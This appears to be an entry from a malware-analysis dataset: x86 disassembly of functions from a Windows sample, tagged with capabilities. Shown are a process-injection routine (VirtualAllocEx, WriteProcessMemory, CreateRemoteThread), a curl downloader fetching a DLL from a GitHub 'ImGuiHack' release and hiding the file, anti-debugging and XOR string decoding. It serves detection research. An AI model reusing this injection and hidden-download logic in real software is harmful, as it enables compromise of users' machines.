joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411cf0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + 0x42313c]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x4230cc]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x411d03
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x411d44
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x423174]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x411d76
mov bl, byte [esp + ecx + 0x4c]
jmp 0x411d7a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x411d6b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x411d98
mov bl, byte [esp + ecx + 0x4c]
jmp 0x411d9c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x411d8d
xor ecx, ecx
mov eax, 0x4230dc
xor ebx, ebx
mov bl, byte [ecx + 0x423184]
cmp byte [esp + ebx + 0x14], 0
je 0x411dc7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x42319c]
cmp byte [esp + ebx + 0x14], 0
je 0x411dde
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, 0x42313c
jl 0x411dae
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x411d37
lea edx, [esp + 0x84]
push edx
call fcn.00411e20
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x473859
Capabilities:
Encode data using xor

Disassembly:
setle cl
mov ecx, 0x4101cc
call fcn.00498698
js 0x473897
mov ah, 0x4e
mov ecx, 0x8e88e4e8
xlatb
and esp, dword [eax + 0x5b78c75a]
xchg edi, eax
fcomp qword [edx]
std
sbb eax, 0xfd2a4ca6
dec edi
mov esp, 0x893c66a4
xor dword [ebp + ecx + 0x31], ebp
push ecx
cdq
lodsd eax, dword [esi]
xor al, 0xe8
loop 0x473870
push ebp
invalid
retf 0x6caa

Function at 0x47de99
Capabilities:
Encode data using xor

Disassembly:
or al, 0xc2
adc byte [eax], al
inc eax
pushfd
bt cx, 2
clc
cmp dl, cl
mov byte [eax + ecx - 1], dl
lea edx, [edx + 0x75a15cc1]
mov edx, dword [esi]
mov word [esp + 8], si
and al, 8
pushal
cmp eax, dword [edx + 4]
call fcn.004a384d
add al, 0xe8
nop
pop ecx
add al, byte [eax]
sbb ebp, edi
cmpsd dword [esi], dword es:[edi]
sub eax, 0x5de8b9f5
xor ecx, eax
pop esi
mov bl, 0x30
mov edx, 0x41a5ab3
loop 0x47deb2
and dword [eax - 0x69], ebx
xorps xmm4, xmmword [edi - 0x3cbbfa3f]
inc edi
pop edi
bound esp, qword [ecx - 0x67]
leave
xor dword [edx + esi*8], esi
xchg edx, eax
add byte [esi - 0x18f03901], 0x30
leave
or cl, byte [eax + edx*2]
jg 0x47de8a
adc eax, 0x41d5f2f8
wait
mov edx, 0x6876ed22
dec esi
pop ebp
into
adc dl, byte [edx]
dec ebx
pop ebx
cmp dword [edx + edx*8], esp
mov ch, 1
sbb eax, 0xf02e47a8
pushfd
dec esi
jl 0x47deb7
and al, 0x40
adc al, 0xeb
cmpsb byte [esi], byte es:[edi]
mov byte [0xa1358c87], al
aam 0xdb
retf

Function at 0x4920a6
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor esi, dword [eax + 0x11]
jmp 0x4abdec
mov dword [esp], edi
lea edi, [ebp*8 + 0x5a1a7ede]
movzx di, cl
lahf
mov edi, dword [ebp + 8]
lea eax, [edx - 0x5364c2d9]
mov ecx, ebx
mov ah, 0x20
rdtsc
rdtsc
mov eax, edi
movsx edx, cl
movzx edx, cl
not edx
mov edx, esi
push esi
lea esp, [esp + 4]
call fcn.004871d3
bswap cx
push 0x6a8a6bce
jmp 0x4c49c9
salc
sti
stosb byte es:[edi], al
push 0xa188e208
pop esp
mov dh, 0x28
or ch, byte [edi]
iretd
mov cx, word [esp]
mov ecx, dword [ebp + 0x10]
push ebx
mov byte [esp + 4], al
test eax, eax
call fcn.0047289a
jp 0x4c4972
cmpsb byte [esi], byte es:[edi]
ret

Function at 0x4b6c0f
Capabilities:
Encode data using xor

Disassembly:
dec dword [ebx + 0xaaf899b]
add byte [esi - 9], ah
xlatb
mov edi, esp
lea ebx, [ebx - 0x749f51a2]
call fcn.00468251
call fcn.0047dd3e
stosd dword es:[edi], eax
mov ch, byte [ecx - 0x17427cf3]
cmp eax, 0xe6c39951
outsd dx, dword [esi]
scasd eax, dword es:[edi]
xor al, 0xda
add dl, byte [ecx]
push cs
scasd eax, dword es:[edi]
xor al, 0xc6
pandn mm6, qword [edx - 0x5b]
in eax, 0xf1
xchg esi, eax
lea esi, [esi + edi - 0x44]
shr byte [esp + edi*4], cl
dec edi
pop edx
xchg edi, eax
div edi
scasd eax, dword es:[edi]
bound edi, qword [eax + 0x574c5f63]
pop esp
fbstp tbyte [ebx]
jo 0x4b6bf8
sub al, 0xa9
push ebp
ret 0x8c47

Function at 0x4d0513
Capabilities:
Encode data using xor

Disassembly:
pushfd
push edx
pushfd
xchg dword [esp + 0x10], ebx
push 0xed76f085
xchg dword [esp + 0x10], ebx
movsx bx, dl
pushal
mov word [esp], 0xcb88
mov ebx, 0x406d78
pushfd
call fcn.0045cfd0
Function at 0x4dd428
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebx
push 0xce91b19a
mov byte [esp], 0x7f
pushfd
jmp 0x461c4b
mov word [esp], bp
lea esp, [esp + 0x28]
je 0x4cb7b8
jmp 0x4bd692
Function at 0x401530
Capabilities:
Execute command
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
call fcn.00402c30
mov edi, eax
test edi, edi
je 0x40164c
push 0x469540
push 0x46c478
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push str.https:__github.com_kenwayzz_ImGuiHack_releases_download_v2_sumatra.dll
push 0x2712
push edi
mov esi, eax
call fcn.00406c90
add esp, 0x14
push 1
push 0xf4
push edi
call fcn.00406c90
add esp, 0xc
push str.deflate
push 0x2776
push edi
call fcn.00406c90
add esp, 0xc
push 0xf
push 0xd
push edi
call fcn.00406c90
add esp, 0xc
push 1
push 0x34
push edi
call fcn.00406c90
add esp, 0xc
push 0x401520
push 0x4e2b
push edi
call fcn.00406c90
add esp, 0xc
push esi
push 0x2711
push edi
call fcn.00406c90
add esp, 0xc
push edi
call fcn.00402c90
add esp, 4
test eax, eax
je 0x40162c
push 0x402700
push eax
call fcn.00403690
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
add esp, 4
mov edx, str.curl_easy_perform_failed:
mov esi, eax
call fcn.004024e0
push ecx
mov edx, esi
mov ecx, eax
call fcn.004024e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
call fcn.00402c10
add esp, 4
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call fcn.00402c10
add esp, 4
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 2
push 0x46c478
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401660
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45a93f
mov eax, dword fs:[0]
push eax
mov eax, 0x13c8
call fcn.00459ce0
mov eax, dword [0x46c400]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x13cc], esi
mov dword [ebp - 0x13bc], esi
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x13d4], esi
push str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
mov dword [ebp - 0x13c0], 0
call fcn.00402270
mov dword [ebp - 4], 1
call dword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x13b0], edx
mov ecx, 1
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [ebp + ecx*4 - 0x13b0], edx
inc ecx
cmp ecx, 0x270
jb 0x4016e4
mov eax, dword [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
dec eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x13b4], 0x270
mov byte [esi], 0
xor eax, 0x80000000
mov dword [ebp - 0x13c0], 1
mov edi, 0xa
mov dword [ebp - 0x13bc], eax
mov dword [ebp - 0x13b8], edi
nop word [eax + eax]
lea ecx, [ebp - 0x13b4]
cmp eax, 0x7fffffff
jne 0x401776
call fcn.00402a90
mov ecx, eax
jmp 0x4017cf
lea edi, [eax - 0x7fffffff]
call fcn.00402a90
mul edi
mov dword [ebp - 0x13c4], eax
mov ecx, edx
cmp eax, edi
jae 0x4017c9
mov eax, edi
xor edx, edx
neg eax
div edi
mov eax, edx
mov dword [ebp - 0x13c8], eax
cmp dword [ebp - 0x13c4], eax
jae 0x4017c9
mov esi, edx
nop dword [eax]
lea ecx, [ebp - 0x13b4]
call fcn.00402a90
mul edi
mov ecx, edx
cmp eax, esi
jb 0x4017b0
mov esi, dword [ebp - 0x13cc]
mov edi, dword [ebp - 0x13b8]
mov edx, dword [esi + 0x14]
lea eax, [ebp - 0x2c]
add ecx, 0x80000000
xor ecx, 0x80000000
cmp dword [ebp - 0x18], 0xf
cmova eax, dword [ebp - 0x2c]
mov al, byte [ecx + eax]
mov ecx, dword [esi + 0x10]
mov byte [ebp - 0x14], al
cmp ecx, edx
jae 0x401812
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x401805
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x14]
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x40182a
push dword [ebp - 0x14]
mov byte [ebp - 0x13d0], 0
push dword [ebp - 0x13d0]
push ecx
mov ecx, esi
call fcn.00402730
mov eax, dword [ebp - 0x13bc]
sub edi, 1
mov dword [ebp - 0x13b8], edi
jne 0x401760
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x401877
mov edx, dword [ebp - 0x2c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40186d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40186d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045987f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004593f0
mov esp, ebp
pop ebp
ret
Function at 0x401e60
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x46c400]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x46cacc], 0xf
mov eax, 0x46cab8
push ebx
cmova eax, dword [0x46cab8]
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
mov ebx, eax
push esi
push ebx
push edi
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x46cab0]
mov esi, dword [ebx + 0x3c]
push 0
add esi, ebx
push 0x1fffff
mov dword [ebp - 0x24], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x40
push 0x3000
push dword [esi + 0x50]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x401f4b
add esi, 0x10c
nop
mov eax, dword [esi]
add eax, dword [ebp - 0x20]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x24]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x401f20
mov esi, dword [ebp - 0x24]
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x20]
mov edi, eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
push 0
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c]
push eax
push edi
push ebx
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401510
lea esi, [edi + 0x18]
sub eax, 0x4013e0
push eax
push 0x4013e0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004593f0
mov esp, ebp
pop ebp
ret
Function at 0x402000
Capabilities:
Hide graphical window
Set console window title

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45aa05
mov eax, dword fs:[0]
push eax
sub esp, 0x188
push esi
mov eax, dword [0x46c400]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [0x46cab4], 7
call fcn.004018a0
mov ecx, 0xf8
xor edx, edx
nop
mov al, byte [edx + 0x4695bc]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x1c], al
and ecx, 0x800000ff
jns 0x40205d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xd
jl 0x402040
lea eax, [ebp - 0x1c]
mov byte [ebp - 0xf], 0
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x18], 0x20766544
mov ecx, 0xfe
mov dword [ebp - 0x14], 0x65746f4e
xor edx, edx
mov byte [ebp - 0x10], 0
nop dword [eax + eax]
mov al, byte [edx + 0x4695d0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x194], al
and ecx, 0x800000ff
jns 0x4020c0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x16d
jl 0x4020a0
push 0x30
lea eax, [ebp - 0x18]
mov byte [ebp - 0x27], 0
push eax
lea eax, [ebp - 0x194]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x4020f3
push 5
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00401530
mov ecx, 0xe9
xor edx, edx
nop
mov al, byte [edx + 0x469740]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x40211d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x13
jl 0x402100
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x20]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x402700
call fcn.004024e0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 4], 0xffffffff
cmp dword [0x46cab0], 0
jne 0x4021d4
nop dword [eax]
mov edx, 0x8d
xor eax, eax
mov cl, byte [eax + 0x469754]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x1c], cl
and edx, 0x800000ff
jns 0x402184
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0xe
jl 0x402167
mov byte [ebp - 0xe], 0
sub esp, 0x18
mov dword [ebp - 4], 1
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.00402270
call fcn.004011e0
mov dword [ebp - 4], 0xffffffff
add esp, 0x18
mov dword [0x46cab0], eax
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], 0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
test eax, eax
je 0x402160
call fcn.00401e60
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402a90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x402aed
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x402ab0
mov eax, dword [esi]
jmp 0x402bcb
cmp eax, 0x4e0
jb 0x402bcb
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x402b06
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x402b51
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c290
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40c33f
push esi
call fcn.00421a70
add esp, 4
test al, al
jne 0x40c33f
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40c2b7
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.0042abb0
add esp, 0xc
test eax, eax
je 0x40c2eb
sub eax, esi
push eax
push 0x2e
push esi
call fcn.0042abb0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x40c2ed
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
lea ebx, [esi + edi]
mov edi, 0x1505
cmp esi, ebx
jae 0x40c31e
nop dword [eax]
mov al, byte [esi]
push eax
call fcn.0041f630
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x40c300
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x418930
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp byte [esi + 0x6bb], 0
je 0x4189cd
cmp dword [esi + 0x194], 0
je 0x418987
push esi
call fcn.00407130
push 1
push esi
mov byte [esp + 0x14], al
call fcn.004075d0
push dword [esi + 0x144]
mov eax, dword [esi + 0x194]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push esi
call eax
push dword [esp + 0x28]
push esi
call fcn.004075d0
add esp, 0x28
pop esi
ret
mov ecx, dword [esp + 0xc]
mov eax, ecx
sub eax, 0
je 0x41899c
sub eax, 1
je 0x41899c
sub eax, 1
jne 0x4189cd
push dword [esi + 0x140]
lea eax, [ecx*2 + 0x45ed5c]
push 1
add eax, ecx
push 2
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
push dword [esi + 0x140]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x20
pop esi
ret

Function at 0x41c160
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x41c17a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x45f424
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strpbrk
add esp, 8
test eax, eax
je 0x41c1c2
test ebp, ebp
je 0x41c1b3
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x41c1e8
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41c1e8
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x41c29f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c205
sub ecx, ebx
lea eax, [ecx + 1]
add eax, edx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x41c295
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x41c295
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c237
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c250
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x41c260
test ebp, ebp
je 0x41c28c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x46c004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x46c004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret